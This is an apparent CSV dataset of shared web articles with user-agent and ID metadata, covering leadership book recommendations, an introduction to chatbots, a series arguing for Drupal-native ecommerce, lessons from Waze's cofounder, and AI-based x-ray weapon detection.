para motivar equipes , influenciar pessoas em prol de um mesmo objetivo e criar um legado. 21 leis irrefutáveis da liderança (John Maxwell) O exercício da liderança é vital para qualquer aspecto da nossa vida, até mesmo fora do ambiente de trabalho. Mas para quem assume esse papel ainda é um desafio equilibrar o conhecimento teórico e as demandas do mundo real. Com o objetivo de ajudar profissionais a desenvolverem técnicas próprias de atuação e melhorar as suas práticas de liderança, John Maxwell criou 21 leis irrefutáveis que podem ser aplicadas facilmente no dia a dia. Sua linguagem direta e arrebatadora tornou o autor um dos maiores especialistas na formação de novos líderes e no desenvolvimento de carreiras. Como fazer amigos e influenciar pessoas (Dale Carnegie) Todas as empresas são feitas de pessoas. E foi seguindo essa premissa que Dale Carnegie criou um dos melhores livros sobre relacionamentos interpessoais. Mesmo lançado em 1936, a obra traz conceitos atuais para que os profissionais aprendam a lidar com pessoas e influenciá-las de maneira positiva. Ágeis e inovadoras (Adam Bryant) Você já imaginou quais são os maiores segredos de CEOs para vencer a competição do mercado e levar as suas empresas ao topo? Adam Bryant, editor do jornal The New York Times, acabou com essa dúvida no livro ""Ágeis e inovadoras"". Uma série de entrevistas com mais de 200 líderes de grandes e pequenas empresas, ao longo da sua carreira, se transformaram em um manual elucidativo e inovador. Nele as melhores, e piores, experiências desses profissionais se transformaram em dicas valiosas para quem também deseja chegar ao topo. Gestão da emoção (Augusto Cury) Nem só de conhecimento técnico e um currículo recheado se faz um bom profissional. A inteligência emocional é uma das armas mais importantes para quem deseja melhorar o desempenho em qualquer área, se destacar da concorrência e sobreviver diante de situações de crise. Em ""Gestão da emoção"", o psiquiatra e escritor Augusto Cury apresenta técnicas simples para que os leitores administrem melhor as suas emoções e encontrem o equilíbrio necessário para enfrentar as desgastantes demandas profissionais, situações de estresse e os desafios que o mercado venha a trazer. Inteligência emocional (David Goleman) Também baseado no conceito de inteligência emocional, Goleman transformou os seus estudos científicos sobre o cérebro humano em lições valiosas para enfrentar o árduo mundo corporativo. Ao destacar a importância do equilíbrio na tomada de decisões e relacionamento com pessoas, o livro vem servindo como uma verdadeira ""bíblia"" para líderes que desejam aumentar o seu desempenho, otimizar o relacionamento com a família, e melhorar a própria qualidade de vida. Criatividade S.A: superando as forças invisíveis que ficam no caminho da verdadeira inspiração (Ed Catmull e Amy Wallace) Inovação é a palavra da década no mundo empresarial. Talvez a palavra do século. Mas trazê-la para o dia a dia de uma empresa não é uma tarefa fácil. Com uma vasta experiência como CEO da produtora Pixar Animation, e amigo de Steve Jobs - uma das mentes mais inovadoras do mundo, Ed Catmull apresentou os melhores caminhos para que os líderes se tornem ainda mais criativos no livro ""Criatividade S.A"". Leitura indispensável para quem deseja implementar a cultura da inovação no seu ambiente de trabalho e potencializar o alcance da sua empresa! Um novo jeito de trabalhar (Laszlo Bock) O Google integrou por sete anos a lista mundial da revista Fortune como uma das ""melhores empresas para se trabalhar"". Com escritórios que mais parecem parques de diversão e uma política de horários mais flexíveis, a organização criou não apenas um império da tecnologia, mas um novo jeito de trabalhar. Que inspira E através desse case de sucesso, o vice-presidente de RH da multinacional, revela como os líderes podem reter talentos, promover a criatividade , gerar satisfação e aumentar o desempenho dos seus colaboradores através de um pensamento ""fora da caixa"". Geração de Valor 2: plantando sonhos, colhendo conquistas (Flávio Augusto da Silva) Empreendedores que desejam se transformar em grandes líderes se encantarão com um dos livros sobre liderança mais verdadeiros e inspiradores da nossa geração. Escrito pelo empresário brasileiro Flávio Augusto da Silva, criador da escola de idiomas Wise Up, e dono do clube de futebol norte-americano, Orlando City, a sequência do livro ""Geração de Valor"" traz uma abordagem diferenciada sobre o sucesso como algo que qualquer um pode aprender. Vindo de uma família simples da periferia do Rio de Janeiro o autor revela, através de textos e charges, uma jornada como empreendedor marcada por percalços, mas muito longe do modelo imposto pelo senso comum. E você, já leu algum desses livros sobre liderança? Não deixe de conferir as nossas dicas para empreender e liderar com sucesso . Muitas delas foram inspiradas no que aprendemos com a leitura das indicações desse post!",pt
1480605347,CONTENT SHARED,-6739959707791598779,3609194402293569455,-2273556421174390613,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://tutorialzine.com/2016/11/introduction-to-chatbots/,Introduction To Chatbots,"Introduction To Chatbots Danny Markov Chatbots have been a trending topic for quite some time now and have got a lot of people excited about them. Some believe that bots are the next big thing and will soon replace apps, while others think they are just a fad, bound to fail. In this article we will restrain ourselves from giving opinion on the future of chatbots. Instead, we will try to shine some light on how they work, what they can be used for, and how to get one up and running. What Is A Chatbot? A chatbot is a service or tool that you can communicate with via text messages. The chatbot understands what you are trying to say and replies with a coherent, relevant message or directly completes the desired task for you. If you remember CleverBot , you know that the concept of chatbots isn't that new. What makes them so relevant right now is: The huge amount of time people spend texting in their messaging apps ( Facebook Messenger , Slack , etc.), making messengers a fast-growing market where businesses can engage potential customers. The advancements in artificial intelligence , machine learning and natural language processing , allowing bots to converse more and more like real people. Modern chatbots do not rely solely on text, and will often show useful cards, images, links, and forms, providing an app-like experience. This allows them to be used for many different purposes such as shopping, customer service, news, games, and anything else you can think of. A good chatbot doesn't have to perform a huge variety of tasks - a bot that shows you the latest news doesn't need to be able to order Chinese food. It does one thing and does it well. How Do Chatbots Work? Most people won't build their chatbots from scratch as there are plenty frameworks and services that can help. However, in order to grasp how bots work, we have to go over some developer talk. Backend: Chatbots can be built in basically any programming language that allows you to make a web API. For most people this will be either Node.js or PHP, but there are many bot libraries written for Java and Python as well. The backend receives messages, thinks of a response, and returns it to the user. Frontend: This can be one of the popular messengers apps ( Facebook Messenger , Slack , Telegram ), or a simple chat interface like the Realtime Chat With Node.js we built some time ago. You are not limited to a single platform - the same bot can be implemented in more than one place. Connecting the two: Your web server will then have to setup webhooks - URL-based connections between your bot and the chat platform. Webhooks will allow you to securely send and receive messages via simple HTTP requests. All of the mainstream messengers provide detailed guides on how to connect your bot to them. The bot is now connected and can listen and respond to users. The only thing left to do is give it a brain. Dumb Bots and Smart Bots Depending on the way bots are programmed, we can separate them in two major categories: command-based (dumb bots) and learning (smart bots). Command-based bots are structured around specific keywords that the bot recognizes. Each command has to be manually programmed by the developer using regular expressions or other forms of string analysis. If the user says something beyond the programmed scenarios, the bot cannot answer in any helpful way. Although the capabilities of these ""dumb"" bots are limited, they are sufficient for the majority of bot designs, especially when combined with other types of UI like multiple choice questions. Learning bots rely on some sort of artificial intelligence to converse with users. Instead of looking for a predefined answer, smart bots come up with adequate replies right on the spot. They also keep track of the context of the conversation and remember what has been previously said, just like a human would! Working with natural language processing and machine learning is no easy task, especially for beginner developers. Thankfully, you don't have to all of the work on your own. There are a number of excellent libraries ( ConvNetJS , nlp_compromise , TextBlob ) and services ( wit.ai , api.ai ) that can help you with teaching your bot some conversational skills. Getting Started With Chatbots If we've managed to pump you up and you want to start building your first chatbot, here are some tips that will get you going. Depending on how much of the work you want to do on your own, you can go full DYI and build your bot from scratch, or you can just use a framework that will save you lots of time. BotKit - The most popular toolkit for building bots. Its open-source and very well documented. Claudia - Chatbot builder designed for deploying directly to AWS Lambda. Bottr - Super simple Node.js framework with built in app for testing. Awesome if you just want to play around for 10 minutes. Once you've completed your bot, most of these frameworks allow you to easily connect it to the popular messaging platforms, which is a huge timesaver as all the major platforms have different setup processes. If you want to skip the development process as a whole, you can trust one of the many available bot-building services: wit.ai - Service that receives raw text or voice data and uses NLP to help you manage responses. Chatfuel - A tool for Facebook Messenger or Telegram bots. No programming involved. motion.ai - Full bot building service with support for many texting platforms. api.ai - Natural language processing that allows you to make bots and define conversation scenarios. Some Examples Although chatbots seem very futuristic, they are already here and are freely available to the public. Below is a list of just a few interesting bots we've stumbled upon. Some of them don't even have to be installed, just find them in Facebook Messenger and say Hi! If you check out Botlist or the Telegram Bot Store you will see that developers have been working on bots for a while now and there is already an inventory of thousands of bots. Conclusion The idea of chatbots has got developers, businesses and messenger apps all working together, building a totally new ecosystem. We will have to wait and see how well bots will be adopted by the general public, but whether they fail or become the next big thing, we will have some fun playing with AI in the meantime. We hope this article has been helpful and we've introduced you properly to the world of chatbots. If you have any questions or opinions, feel free to leave a comment below :) by Danny Markov Danny is Tutorialzine's Bootstrap and HTML5 expert. When he is not in the office, you can usually find him riding his bike and coding on his laptop in the park.",en
1480611483,CONTENT SHARED,-2400879112398974660,3891637997717104548,-6545039178850691120,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",SP,BR,HTML,https://medium.com/@rob_86775/0-the-case-for-drupal-and-commerce-f10852850e1a,0. The case for Drupal and Commerce,"This series of articles represents opinions and observations that I have gathered over the past decade regarding the role of ecommerce in the Drupal ecosystem. I have no place advising anyone on how to run their business, and these are not the views of my employer. However, having been deeply involved in Drupal Commerce in particular, and having recently leveled criticism against Acquia for their ecommerce strategy, I thought it best to put all my thoughts in one place. Here they are. Dries Buytaert, the founder of Drupal and CTO of Acquia, recently admonished me to ""help the Drupal community understand why we should all invest more in Drupal Commerce and how it could be a superior strategy"" . He was right, and that's what I aim to do with this series. Why ecommerce matters Why Drupal is ideal for ecommerce The case for Drupal and SaaS Why ecommerce is essential for Drupal History lesson: Drupal Commerce, Commerce Guys, and Acquia What can Acquia and the community do now regarding Drupal and ecommerce? What's in this for me?",en
1480611514,CONTENT SHARED,7203367456821804602,3891637997717104548,-6545039178850691120,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",SP,BR,HTML,https://medium.com/@rob_86775/1-why-ecommerce-matters-eacb351a8e94,1. Why ecommerce matters,"Buying things is one of the primary activities that internet users engage in. If you are concerned with the growth of your digital platform, and you don't have an ecommerce strategy, you're missing out on participating in ""the only trillion-dollar industry growing at a double-digit percentage each year"" The overall number of ecommerce sites is large enough that any significant success in ecommerce translates to serious revenue. A long, long time ago in 2014, there were approximately 110,000 ecommerce websites generating revenue of meaningful scale on the internet. That number is undoubtedly higher today. Ecommerce sites also tend to reserve higher budgets for site development, integration, optimisation, and hosting. That's because the use case is more complex than traditional publishing. Each customer engages the site in transactional use. Adding products to carts, calculating discounts and tax, managing orders and fulfillment, stock management, and personalisation all create heavy compute and data demands on a site that go far beyond updating digital content. Ecommerce makes web platforms do certain things, like locking, transactions & rollbacks, security, and user experience right. Ecommerce forces integration with myriad other purpose built systems like payment gateways, product information management systems (PIM), ERP and CRM systems, personalisation and recommendation engines, analytics engines, and more. Ecommerce sites are also very highly content driven, and benefit from high performance content and user management basics. Just ask Dries . Ecommerce sets the bar very high, and any other functionality that a web platform might have, like asset management, publishing workflow, multi channel & mobile, all benefit from these high standards. In short, aspiring to be an ecommerce system is just about the best thing a web platform can do. Read on to see why I think that Drupal is an ideal platform for ecommerce.",en
1480611543,CONTENT SHARED,4895396506368139469,3891637997717104548,-6545039178850691120,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",SP,BR,HTML,https://medium.com/@rob_86775/2-why-drupal-is-ideal-for-ecommerce-18c50cfbbd41,2. Why Drupal is ideal for ecommerce,"Ryan Szrama, the lead developer of Drupal Commerce and President / CEO at Commerce Guys , recently gave a presentation where he spends 4.5 minutes arguing that Drupal is an ideal platform on which to build an ecommerce framework, and why Drupal should be more than a frontend to other systems, like Shopify or Hybris. The first reason that Ryan mentions rings very true to me, and should resonate with all of the people who chose Drupal to support software freedom in the first place: licensing. Drupal is GPL and is not proprietary or dual-licensed. This is a distinct advantage for adopters of Drupal, but it makes it commercially harder for the independent software vendor (ISV) to funnel investment back into the software product. Ryan also highlights the flexibility of Drupal for building business applications. By this he means that user management, authentication, content modelling, creation, editing, and rendering, rules engines, rich asset management, and multichannel publishing are all solved problems. There is great momentum behind Drupal to excel at these tasks and become better over time, so piggybacking on Drupal on the way towards ecommerce greatness makes perfect sense. Other systems like Magento or Oro have to address these problem spaces too, and it distracts them from focusing on their core functionality and capabilities. This is very much in line with what Dries Buytaert said of the state of ecommerce in his recent blog post: commerce platforms have not added many tools for rich content management. Instead they have been investing in capabilities needed to compete in the commerce market; order management systems (OMS), omnichannel shopping (point of sale, mobile, desktop, kiosk, etc), improved product information management (PIM) and other vital commerce capabilities. The limited investment in content management capabilities has left merchants looking for better tools to take control of the customer experience, something that Drupal addresses extremely well. In short, all of the tools and tricks that Drupal has developed for content management (do we still call it a CMS?) apply directly to product management and marketing in ecommerce scenarios. Ryan also adds that Drupal is a very good platform for integrating with other systems. Thanks to its strong focus on RESTful APIs , Drupal possesses a far stronger framework than most ecommerce systems for talking to CRMs, ERPs, PIMs, analytics engines, search tools, personalisation managers, and so forth. Watch Ryan's full presentation to find out more about the state of Drupal 8, and to hear his version of the pitch for why Drupal should be considered as a native ecommerce tool. Next: 3. The case for Drupal and SaaS",en
1480611563,CONTENT SHARED,6634206168889468590,3891637997717104548,-6545039178850691120,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",SP,BR,HTML,https://medium.com/@rob_86775/3-the-case-for-drupal-and-saas-d731248494f7,3. The case for Drupal and SaaS,"To make my coming point about why Drupal needs ecommerce, we need to take a detour into the world of Drupal distributions and the potential for building Software-as-a-Service products. I have long advocated for using Drupal as a tool for creating web products. Since Drupal is better than its peers at creating distributions (packaged sites that address a specific use case), it seems to logically follow that these distributions could become hosted SaaS products. While many SaaS products are multi-tenant, meaning they direct all customers to the same installation of the tool and use permissions to set up walls between the users, some tools are single-tenant SaaS, meaning each customer gets their own copy of the entire tool. Drupal fits beautifully into the single-tenant paradigm, and we're seeing some very interesting new Drupal 8 based products emerge, such as Open Social . The recipe for creating single-tenant SaaS products using Drupal is this: Build a great distribution that solves a specific problem well enough to be useful out-of-the-box Create an ecommerce site where people can sign up for an account (a hosted copy of the distribution) When a customer signs up, provide them with a hosted version of your distribution. The hosting should be able to pull updates from a central repository (eg. use Composer to build). Extra points if the hosting solution can also support adding bespoke code to individual customers' SaaS installations Use monthly billing to charge for basic service and extras, such as theming or integration work, consulting, add-on features, or improved SLAs Fortunately for Drupal SaaS creators, Drupal Commerce has exactly the capabilities that are needed to set up recurring billing plans that can model any structure in point #4, including pre- or post- payment, metered billing, packages of services, invoicing and all of the things you'd need to make your distribution into a product. The central benefit of pursuing a SaaS strategy with Drupal is that you as the ISV get to focus on improving your product, benefitting all of your customers. The business model provides you with recurring revenue, hopefully helping you fund further investment in your product, and in Drupal. My point in diverging into SaaS is that Drupal will never achieve what once seemed like an obvious win - to become the premiere tool for making specialised, vertically targeted distributions - unless Drupal is also capable of being a solid ecommerce platform. Anyone who has any interest in seeing more companies build actual products based on Drupal will want to help Drupal improve its ecommerce capabilities and build upon the great work that has already been done. For example, the recurring billing and license modelling work that I linked to still only exists for Drupal 7 - there is not yet a Drupal 8 version. Next: 4. Why ecommerce is essential for Drupal",en
1480611594,CONTENT SHARED,5005421293875190218,3891637997717104548,-6545039178850691120,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",SP,BR,HTML,https://medium.com/@rob_86775/4-why-ecommerce-is-essential-for-drupal-e41d098ef24b,4. Why ecommerce is essential for Drupal,"I've established that ecommerce matters, and that Drupal is an ideal starting point for building ecommerce solutions. I've shown a model for building SaaS products on Drupal and described the role that ecommerce plays there. But is it really necessary for Drupal's health and survival that it aspires to be a native ecommerce solution? Isn't it enough if other people write ecommerce solutions, like Magento, Oro Commerce, Spryker, and WooCommerce, and Drupal can be used as a content and personalisation frontend to those systems? Consider this revolutionary vision put forth by Dries Buytaert in 2011 describing how large organisations are able to achieve massive savings on web and digital by consolidating their technologies onto Drupal. The brilliance of this vision inspired many large organisations, for example Johnson & Johnson, who have deployed over 750 Drupal sites , to undergo a massive digital transformation. This case is not unique, and Dries' 2011 strategy piece was a central tenant of these mass migrations. Bravo! All of those blue droplets would look a lot less compelling if the one labelled Ecommerce site was green, and said ""Demandware"". It would look less compelling on paper, and it would make less business sense, too. Selectively enabling individual sites to participate in ecommerce, using Drupal-native tools, the same development team, and without introducing new content editing workflows or paradigms, is a super powerful story. Drupal needs to check that box resoundingly well in order to make the 2011 Dries vision whole. Drupal needs ecommerce to be complete. Drupal also needs ecommerce to push it technically. Transactional operations are challenging, forcing developers to avoid race conditions, handle exceptions and failures that might occur in the middle of a workflow (such as a checkout), and requiring excellent performance in situations where caching and Varnish are no panacea. Drupal is only as good as we expect it to be, and without introducing these challenges, the technology will not evolve to its full potential. Another important reason why Drupal needs ecommerce is spelled out in the previous post, 3. The case for Drupal and SaaS . In short, to have a complete single-tenant SaaS product based on a distribution, which should be Drupal's manifest destiny, one needs a recurring billing system, which Drupal Commerce on Drupal 7 can do handsomely. The final reason why Drupal needs ecommerce is a simple matter of growth and investment. Existing ecommerce vendors collect hundreds of millions of dollars of licensing revenue every year. Existing ecommerce hosting companies collect hundreds of millions of dollars of hosting fees per year. Ecommerce service providers collect unfathomable dollars of service fees. Depending on the openness of the software ecosystem in question, some of this will generate upstream investment. Harnessing these potential new growth vectors and upstream investment funds is one way that Drupal can continue to grow, both through investment and by solving challenging technical problems, and diverts these investments from other competing systems (WooCommerce / Wordpress, for example) who are challenging Drupal's markets. Making sure that the story of Drupal convergence is a complete story, as per Dries' 2011 vision, helps ensure that large orgs don't need to look elsewhere to meet their needs. In short, Drupal is incomplete without an ecommerce story. Drupal needs ecommerce. Next: 5. History lesson: Drupal Commerce, Commerce Guys, and Acquia",en
1480611613,CONTENT SHARED,4037478513037442964,3891637997717104548,-6545039178850691120,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",SP,BR,HTML,https://medium.com/@rob_86775/5-history-lesson-drupal-commerce-commerce-guys-and-acquia-9c33a9c4d2f2,"5. History lesson: Drupal Commerce, Commerce Guys, and Acquia","It would be disingenuous of me to offer advice or share a vision about Drupal and ecommerce without a short recap of my history with the topic. Let's start with a timeline, and then draw some conclusions. March 2007 - Ubercart project added to Drupal.org; July 2008 - Commerce Guys founded by Mike O'Connor; 2009 - Ryan Szrama joins Commerce Guys; Drupal Commerce project started as next gen ecommerce to replace ubercart; 2010 -  Commerce Guys acquired by AF83 , retains Commerce Guys brand; Robert Douglass (that's me!), then employed by Acquia, joins Commerce Guys advisory board; 2012 -  Commerce Guys announce first round of VC funding ; Robert Douglass leaves Acquia and joins Commerce Guys as Product manager of Commerce Kickstart, Commerce Marketplace, Commerce Platform 2013 - Commerce Guys soft launch ""Commerce Platform"" with a handful of customers; Incumbent Drupal hosting companies aware for first time of potential competitive threat, react accordingly; 2014 -  Commerce Guys announce second round of VC funding ; Commerce Platform, now Platform.sh, general availability. 2015 - Commerce Guys focus majority of R&D on Platform.sh, end investment in Commerce Kickstart and Commerce Marketplace. 2016 -  Commerce Guys core team becomes new independent company, existing entity pivots to become Platform.sh ; Conclusions The two main takeaways from this timeline, which are absolutely critical to acknowledge in order for me to be able to speak about this topic in public, are: - that Commerce Guys raised significant funds for building products and services around Drupal Commerce and launch three products: Commerce Kickstart, Commerce Marketplace, and Commerce Platform. Leadership eventually decided to pivot into focusing on Commerce Platform as a language independent Platform-as-a-Service product, and for Commerce Guys to continue on separately under the leadership of Ryan Szrama . - that Acquia was keenly interested in a Drupal+Commerce story (as evidenced by my dual involvement in the 2010-2012 timeframe), and then perceived the Commerce Guys company as a competitor starting in 2013. Also important when looking at the history of Drupal Commerce is the fact that the Commerce Marketplace product was successful enough to provide the current Commerce Guys, which is essentially the core R&D team, with a stable base of revenue on which to build and grow. While the transition was undoubtedly temporarily disruptive to Drupal Commerce's progress, the company and ecosystem are arguably in the best position they have ever been in, with steady funding and Ryan Szrama as the leader. Finally, regarding Platform.sh's ongoing investment in Drupal Commerce, it's important to note that we employ three Drupal Commerce developers to fill our internal needs for maintaining the website. This doesn't involve direct R&D budget per se, but any code that we write for Drupal Commerce that can be shared, does get shared. We also sponsor DrupalCons and DrupalCamps and work closely with the Drupal Association to do everything that we can for the Drupal ecosystem. In my opinion, this strikes the right balance of contribution for a company of our profile. We contribute to countless other open source projects as well - I'm limiting discussion here to Drupal. P.S. Watch the Platform.sh blog for an update from Christian Sieber detailling the breadth and depth of our current contribution to Drupal and Drupal Commerce. Next: 6. What can Acquia and the community do now regarding Drupal and ecommerce?",en
1480611631,CONTENT SHARED,-4640750981890093183,3891637997717104548,-6545039178850691120,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",SP,BR,HTML,https://medium.com/@rob_86775/6-what-can-acquia-and-the-community-do-now-regarding-drupal-and-ecommerce-3ef2edd7b5de,6. What can Acquia and the community do now regarding Drupal and ecommerce?,"This is my space to say why I think serious dedication to Drupal Commerce is best for Drupal and Acquia in the long run. What anybody does with this is beyond my control. To the point: We the Drupal community, including Acquia, should foster a Drupal-native, 100% GPL ecommerce solution, and prefer it above any integration. And do this loudly, publicly. Integrations with other established systems, eg. with Magento, Hybris, Demandware, etc., will happen, and that's fine. I have no grounds for objection to Acquia's recent Magento partnership, for example. Those integrations are in many cases the best options for merchants who already have satisfactory ecommerce solutions. Dries pointed this out in his ecommerce blog , and Maxim Topolov pointed it out again in his . ( Kris Vanderwater then called Maxim's post silly... ) Now, how to do this? Here are some clear ways: Collectively assert a native-Drupal commerce preference. Do we, collectively, want a Drupal world where ecommere is only possible on top of Magento or Hybris? I think not. Which means that integrations cannot be the whole strategy. Integrations are an opportunistic way to get Drupal - the CMS - into more markets, but it lets Drupal get by without actually knowing anything about ecommerce, or having to build scalable infrastructure able to handle transactional sites, or actually think about taxes, shipping, coupons, recurring payments, and much more. A good ecommerce strategy starts with the question ""How does Drupal do ecommerce?"", not ""What ecommerce systems do we integrate with?"" Acquia has a great opportunity while hiring the next VP of eCommerce to choose a strong open source / free software advocate. Acquia could put an ecommerce developer on the OCTO team (is that still a thing?), or use Acquia Labs to research what cutting edge Drupal-native ecommerce looks like. The Drupal core development team (which has some overlap with Acquia personnel) can support Drupal Commerce by consulting regularly with the Commerce Guys to find out what Drupal could do better for their use cases. Should Rules be in core? Ask Ryan. And, finally, if you're wondering what the larger community can do, it's easy: know that Drupal Commerce is alive and well , that Ryan and the Commerce Guys are making steady progress on a Drupal 8 version. Major players like Acquia are already actually big fans of Drupal Commerce, are in regular communication with the current iteration of the Commerce Guys, and recommend Drupal Commerce to their customers. Of course, any code review, patches, or sponsoring of features that you want to engage in is also very welcome. Talk to the Commerce Guys. Next: 7. What's in this for me?",en
1480611648,CONTENT SHARED,6868454399455433725,3891637997717104548,-6545039178850691120,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",SP,BR,HTML,https://medium.com/@rob_86775/7-whats-in-this-for-me-9b9be64c6d90,7. What's in this for me?,"In the spirit of full disclosure, here are all the reasons it is personally important to me to talk about Drupal Commerce in this way. Some eyebrows were raised when I first tweeted challenging criticism to Acquia on their ecommerce strategy. It's not sour grapes. It's quite the opposite. I dearly love Free Software, Drupal, my current company, Commerce Guys, and Acquia. I have deep personal connections into all of the above and want every single one to succeed. Everyone I know in all of these endeavors benefit from a strong Drupal Commerce. Platform.sh, my current employer and already included in point #1, benefits from a strong Drupal Commerce. This is simultaneously super obvious and not why I'm raising this topic. Sure, we host more Drupal Commerce sites than anybody, and have a stunning track record at doing it, largely because we really understand ecommerce and because many of us helped build Drupal Commerce, but writing this series of articles is not how I would try to market Platform.sh. That's it. That's all of the dogs I have in this race, all the skin I have in the game. Discuss!",en
1480615586,CONTENT SHARED,6953968734027801757,3609194402293569455,-2273556421174390613,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://startupi.com.br/2016/11/disrupcao-nao-depende-da-tecnologia-depende-das-pessoas-as-licoes-do-cofundador-do-waze/,"""Disrupção não depende da tecnologia, depende das pessoas"": as lições do cofundador do Waze - Startupi","Bermuda, óculos escuros e uma camiseta que já adiantava sua fala: fall in love with the problem, not the solution. Assim chegou Uri Levine, fundador do Waze, para o nosso bate-papo. Logo em seguida, chamou todos para perto, sentou numa cadeira e abriu uma apresentação, na qual o primeiro slide já tinha o e-mail para contato. Assim, sem nenhuma formalidade de ""fale com a minha secretária"". Mas, antes de contar sobre os aprendizados dessa conversa, quer saber como chegamos lá? Vamos voltar a fita! Esse papo fez parte de uma viagem que fizemos há algumas semanas a Israel, país conhecido como Startup Nation - vale ler o livro de mesmo nome pra entender os porquês, mas se quiser um resumo, esta apresentação em inglês passa pelos principais pontos. Acompanhados de vários Mentores e Empreendedores Endeavor, passamos cinco dias visitando pequenas e grandes empresas, fundos de investimento, órgãos do governo, aceleradoras, centros de pesquisa ligados à universidade, e alguns outros players do ecossistema empreendedor local. Em uma dessas visitas, tivemos a oportunidade de conhecer um dos três fundadores do Waze, aplicativo bem conhecido pelos brasileiros, que foi vendido por mais de US$1 bilhão ao Google, em 2013. Empreender é uma montanha-russa Uri começou reforçando o quão difícil é a vida do empreendedor: muitos sacrifícios, uma longa montanha russa, sem nenhuma certeza do que está por vir no futuro. Quando perguntado sobre o momento mais duro como empreendedor do Waze, ele relembrou o período em que a empresa quase quebrou. No fim de 2010, o dinheiro estava para acabar, o aplicativo tinha poucos usuários e o Google acabara de anunciar uma solução concorrente. A empresa estava fadada ao fracasso, até uma grande multinacional de tecnologia decidir colocar dinheiro pra salvar o negócio, que a partir de 2011, começou uma curva intensa de crescimento. Depois do relato, parte do grupo questionou Uri sobre o fato de os fundadores terem sido muito diluídos com a entrada do novo sócio. De fato os empreendedores ficaram com uma parcela pequena da empresa que eles mesmos haviam fundado, mas, para Uri, ""melhor uma pequena parte de um negócio vendido pro Google por US$1 bilhão do que morrer na praia, sendo o principal acionista do negócio."" E por que vender para o Google? ""Não tinha uma bola de cristal para dizer o que iria acontecer caso não vendesse. Fora o preço altíssimo que eles ofereceram, o impacto poderia ser bem maior na mão deles."" O CEO que ganhou o mundo Quando perguntamos a ele sobre como era ser CEO de uma empresa que, de repente, ganhou o mundo, Uri nos surpreendeu dizendo que não gostava de ser CEO e só exerceu a função até 2008. Na época, ele tinha basicamente três responsabilidades: 1. Recrutar gente boa, 2. Comunicar a visão para o time 3. Negociar com fundos de investimento para garantir dinheiro, o que lhes permitiu lançar o produto e fazê-lo rodar em alguns países - as cidades de menor porte foram os que mais deram certo no início. Depois de ter cumprido com esse papel, Uri e seus sócios decidiram contratar um CEO. Enquanto o novo chefe cuidava dos principais mercados (EUA) e trabalhava em cima da principal fonte de receita (anúncios), Uri olhava para mercados secundários e fontes de receita alternativa. Depois de contar sua experiência, ele completou: ""Isso só funciona se os fundadores derem espaço para o(a) novo(a) CEO."" Uma cultura de comemorações Durante o papo, Uri também disse que ele e seus sócios faziam questão de criar o melhor ambiente de trabalho possível, celebrando as ""primeiras vezes"" de tudo. Primeiro usuário, prêmio, rodada de investimento, tudo isso era coisa boa de se comemorar. Mas o ápice mesmo era receber cartas de agradecimento dos usuários. Uma delas disse até que o aplicativo salvou um casamento! Isso sim vale abrir uma champanhe ou tocar o sino dentro do escritório. Como tudo começou E se você está se perguntando como um aplicativo que depende da participação ativa dos usuários -imputando informações sobre acidentes para ser melhor que um GPS normal- foi capaz de atrair os primeiros usuários, vai ter mais uma surpresa. Uri conta que seus primeiros usuários foram pessoas entusiasmadas por mapas que encaravam aquilo como hobby e que discutiam o tema em fóruns da internet, e ainda completou: ""Só tive sucesso porque amava estar perto dos usuários. Se você não conhece a fundo seus usuários e olha a solução antes de investigar o problema, é praticamente impossível fazer a coisa engrenar."" Por fim, Uri terminou sua fala provocando os empreendedores com 3 frases: 1. Não tenha medo de falhar, mas cometa os erros com rapidez; 2. Foco é saber dizer não; 3. Disrupção não depende de tecnologia, mas sim de gente que ousa desafiar situações de equilíbrio. Quem você vai desbancar se sua ideia der certo? Se não souber responder, talvez sua ideia não seja grande o bastante. * Artigo publicado originalmente pela Endeavor Brasil",pt
1480616420,CONTENT SHARED,-5790539535722288419,3609194402293569455,-2273556421174390613,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://www.economist.com/news/science-and-technology/21711016-artificial-intelligence-moves-security-scanning-machines-are-learning-find,Machines are learning to find concealed weapons in x-ray scans,"EVERY day more than 8,000 containers flow through the Port of Rotterdam. But only a fraction are selected to pass through a giant x-ray machine to check for illicit contents. The machine, made by Rapiscan, an American firm, can capture images as the containers move along a track at 15kph (9.3mph). But it takes time for a human to inspect each scan for anything suspicious-and in particular for small metallic objects that might be weapons. (Imagine searching an image of a room three metres by 14 metres crammed to the ceiling with goods.) To increase this inspection rate would require a small army of people. A group of computer scientists at University College London (UCL), led by Lewis Griffin, may soon speed up the process by employing artificial intelligence. Dr Griffin is being sponsored by Rapiscan to create software that uses machine-learning techniques to scan the x-ray images. Thomas Rogers, a member of the UCL team, estimates that it takes a human operator about ten minutes to examine each X-ray. The UCL system can do it in 3.5 seconds. Dr Griffin's team trained its system on hundreds of thousands of container scans provided by Rapiscan. The scans were missing concealed metallic objects that might pose a threat, so the UCL team took a separate database of x-rayed weapons and hid them in the container images. A paper the group presented at the Imaging for Crime Detection and Prevention conference in Madrid last week showed 